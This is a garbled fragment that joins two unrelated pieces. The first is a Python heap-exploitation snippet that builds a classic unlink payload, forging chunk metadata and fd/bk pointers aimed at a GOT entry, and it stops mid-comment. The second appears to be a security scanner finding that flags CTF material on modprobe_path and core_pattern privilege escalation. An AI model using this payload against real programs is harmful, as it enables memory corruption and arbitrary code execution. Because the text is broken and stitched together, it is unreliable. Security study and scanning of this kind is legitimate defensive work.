fake_bk = target_addr - 0x10  # GOT entry - 2*sizeof(ptr)

# Overflow from A into B's header
payload = p64(0)              # fake prev_size for A
payload += p64(data_size)     # fake size for A (marks A as "free")
payload += p64(fake_fd)       # fd pointer
payload += p64(fake_bk)       # bk pointer
payload += b'A' * (data_size - 32)  # fill A's data
payload += p64(data_size)     # overwrite B's prev_size
payload += p64(b_size & ~1)   # overwrite B's size, clear PREV_INUSE bit

# After f

Missing User Warnings

High
Category
Not specified by scanner
Confidence
98% confidence
Finding

This section explicitly documents kernel-protection bypass techniques such as abusing modprobe_path and core_pattern to achieve root-level code execution. Even in a CTF context, these are real privilege-escalation methods that can be directly repurposed against actual Linux systems, and the file presents them operationally without guardrails, warnings, or clear environment restrictions.

Content

No source excerpt is available for this finding.